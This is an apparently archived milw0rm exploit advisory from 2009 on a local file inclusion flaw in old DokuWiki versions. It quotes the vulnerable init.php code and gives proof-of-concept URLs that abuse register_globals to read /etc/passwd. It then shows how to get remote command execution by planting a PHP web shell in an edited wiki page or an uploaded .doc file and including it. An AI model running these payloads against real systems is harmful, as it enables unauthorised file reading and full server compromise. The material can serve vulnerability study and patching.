Dokuwiki 20090214 Local File Inclusion Vulnerability.pdf

Loading ...
Global Do...
News & Politics
1 # Author_
girex
2 # Homepage_
girex.altervista.org
3
4 # CMS_
Dokuwiki
5 # Homepage_
dokuwiki.org
6
7 # Affected versions_
2009−02−14
8
rc2009−02−06
9
rc2009−01−30
10
11 # Bug_
Local file inclusion
12 # Need_
register_globals = On
13
14
15 # Vuln description_
16 # File: /inc/init.php
17
18   // if available load a preload config file
19   $preload = fullpath(dirname(__FILE__)).’/preload.php’;
20   if (@file_exists($preload)) include($preload);
21
22   ...
23
24   //set the configuration cascade − but only if its not already been set in preload.php
25   global $config_cascade;
26   if (empty($config_cascade)) {
27     $config_cascade = array(
28       ’main’ => array(
29         ’default’   => array(DOKU_CONF.’dokuwiki.php’),
30         ’local’     => array(DOKU_CONF.’local.php’),
31         ’protected’ => array(DOKU_CONF.’local.protected.php’),
32       ),
33   
34   ...
35
36   // load the global config file(s)
37   foreach (array(’default’,’local’,’protected’) as $config_group) {
38     if (empty($config_cascade[’main’][$config_group])) continue;
39     foreach ($config_cascade[’main’][$config_group] as $config_file) {
40       if (@file_exists($config_file)) {
41         include($config_file);
42       }
43     }
44   }
45
46
47 # File preload.php doesn’t exists. (so seems for the affected versions)
48 # So we can set $config_cascade arrays via register globals
49 # It’s not a RFI couse use of file_exists function.
50
51 # First of all you can check the dokuwiki’s version here:
52 # /[host]/[path]/VERSION
Page 1/2
Dokuwiki 20090214 Local File Inclusion Vulnerability
girex
05/26/2009
53 # and check if it’s a vulnerable version
54
55 # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=/etc/passwd
56 # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./README
57
58 # Note:
59 # You can obtain a remote command execution if you can edit the content of a page
60 # Just insert your php code into it like: <?php system($_GET[cmd]); ?>
61 # And include it:
62
63 # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/pages/[page_edited].txt
64
65 # Or you can check if you have permissions to upload file via:
66 # [host]/[path]/lib/exe/mediamanager.php
67
68 # If so, upload your file with .doc extension then include it:
69
70 # PoC: [host]/[path]/doku.php?config_cascade[main][default][]=./data/media/[uploaded_file].doc
71
72 # milw0rm.com [2009−05−26]
Page 2/2
Dokuwiki 20090214 Local File Inclusion Vulnerability
girex
05/26/2009